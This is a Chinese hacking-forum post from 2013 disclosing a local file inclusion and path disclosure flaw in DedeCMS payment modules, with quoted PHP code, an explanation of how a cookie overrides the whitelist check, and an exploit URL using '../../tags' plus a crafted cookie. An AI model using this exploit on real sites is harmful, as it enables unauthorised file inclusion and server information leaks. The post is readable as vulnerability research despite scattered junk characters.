找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2056|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
( D4 D4 w( T6 U4 }) w/ m/ h3 i  h; w
出现漏洞的两个文件为:; i3 }& s: o- Q3 z9 y, L7 M* S$ w
Include/payment/alipay.php5 E8 g' z9 N" Z" y$ l, i# `
Include/payment/yeepay.php9 a6 f, ^+ a  m# }9 F  U
漏洞均出现在respond方法里,估计这两个文件是临时工写的。5 T9 `: `' j) D' E% k; q

/ |9 z' h0 u: IInclude/payment/alipay.php
. T( G" S0 f$ T
& H% F3 B  ~4 @' q7 C8 `, F......6 Y7 J4 U- t2 A5 I0 ?  \
   function respond()! W3 G. ^% ?$ v; z
    {
' }7 W- y7 R+ q; X3 h6 g        if (!empty($_POST))
3 v( k: h# @/ R! ]        {' K+ l8 \7 L2 b. _
            foreach($_POST as $key => $data)
$ P0 Y- n, u/ |            {' Q$ {- t6 a  n* t5 c. c
                $_GET[$key] = $data;5 E+ w0 ^! I" A% ]$ G8 M: ]9 {
            }
2 A9 n9 G6 m8 O% x! s0 N        }3 s6 Y5 N3 A  _( C# I/ K3 x5 g/ k
        /* 引入配置文件 */
+ l9 f2 w( K' I. Y0 N8 b# L2 y        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
6 v& E% T) Z, r* L6 U...... 4 y3 T8 K9 H7 F6 x$ w
# o3 {6 h) e+ D* ^
5 E' ^3 `$ H: [* M4 P' B5 j# d4 u
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。9 Z% o) b9 d6 N. e5 e, l
3 h. p3 Q$ M* k6 \( h
Include/payment/yeepay.php
3 ]9 H. {: |3 H; _! O8 t# X( \: a1 A; Z# V) ]- K1 z

% V: o  A+ ]) A
6 L0 K7 Q6 P  T4 |/ f......
5 b0 ]  J- y. @7 l+ V* G    function respond()
8 q$ F, P7 w, U6 F7 f# Z* V# {6 l    {
; \( I; ?5 r0 X, k- c! H ) J7 G0 p$ {7 k2 P! b1 z4 q
        /* 引入配置文件 */5 j0 X) c; M  }
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';9 J9 _1 h0 ^  j* z7 a
# m9 L8 ?$ V; d. `
        $p1_MerId = trim($payment['yp_account']);1 M( P/ Y5 o5 n, Q( E
        $merchantKey = trim($payment['yp_key']);% t1 A7 _+ q" \' l  s& [
......
. P" J  y4 Y+ }' X# Y 6 m. w5 }) O- {$ e

3 [7 ?! y* A4 `. V$ E9 r( y9 }
/ f# i" N7 R/ v/ Z" L* X6 M* a# M7 X& u3 w2 N
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。* ^$ {1 Q, V3 n% L8 o5 w7 d; y9 G
: ]# ~' K; F1 E0 a+ H- X
这两个方法在plus/carbuyaction.php文件调用。
7 P- m1 e. I6 ~; ^
" N/ K7 W: g( J5 f( r7 n% Splus/carbuyaction.php, [/ J  K( c4 J" [( g& E( @2 |, y
  b( o" V' l3 i9 y
......
! P2 J+ B" M9 F$ E1 o$ n0 L- v7 ^( z2 S} else if ($dopost == 'return') {
4 K- X7 q' l  M* v    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
. P& ^. H" t9 K: E9 u( @7 C    if (in_array($code, $write_list))
7 W9 C& r4 L) f; x2 f9 }    {
- n9 o) r9 _8 x$ L) X, o        require_once DEDEINC.'/payment/'.$code.'.php';
9 U/ ]* Z- p+ t# {' V3 Z        $pay = new $code;
: j" H4 u# e7 A7 h( j0 T2 U# k        $msg=$pay->respond();  L& ]6 C) J$ q+ A( c# q$ V
        ShowMsg($msg, "javascript:;", 0, 3000);
4 h+ D; A% Q9 [" K& w! G# i        exit();  
! O* d, `& X4 O. g0 @$ ~    } else {4 p0 t+ ~; A2 b( h; [1 D: Y3 Y
        exit('Error:File Type Can\'t Recognized!');
; O' U" v& T9 x, [3 k    }7 o% C6 D- V$ |8 r) X
}
# T* l0 v9 b8 ?8 F0 Y" N7 B; s...... ' v6 T  N. F" e: ~" X" D

, S7 t0 J2 w) i7 n0 _: {2 D! Y8 E% l: a4 x" R
, u- s2 W& Z! ^
; W/ T( P; [4 [& T/ u- N

! }1 j6 x) H4 i% ~9 S- j1 Q0 p1 E# A' }4 w  I1 I( @# z
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
) o& \3 R4 q, {1 f! c" F所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
" K) C# B. W( {9 l2 c0 ?3 f% ?: R4 T: O* \
回到include/common.inc.php来看看他的机制。3 Z" ~0 q: N# n0 y$ A/ Z

2 ~) d& _% e6 Z* t
, D2 k1 t2 i- j$ N5 P* q  p' C0 a+ Y2 N1 s
......
& l8 c/ @; C, yforeach(Array('_GET','_POST','_COOKIE') as $_request)
+ r/ l( O- v  s# \; t{
) w. n  B  n' f7 U7 w        foreach($$_request as $_k => $_v) 7 N1 g. S9 ]& a/ P0 B: H6 @2 ]# |
        {. W9 ^$ p  ], [
                if($_k == 'nvarname') ${$_k} = $_v;) Y# @  z& k7 }0 Q
                else ${$_k} = _RunMagicQuotes($_v);$ n& ~7 A2 y5 L. A1 x( A
        }* F. r8 b; K" ?, [3 Z0 F& I
}
. m/ R2 ?, b, c# ]0 e3 y: o...... 6 z6 ]8 S) B9 F1 v- s0 a8 d# c9 \
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
: f& {/ Z. h; e8 r2 |由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表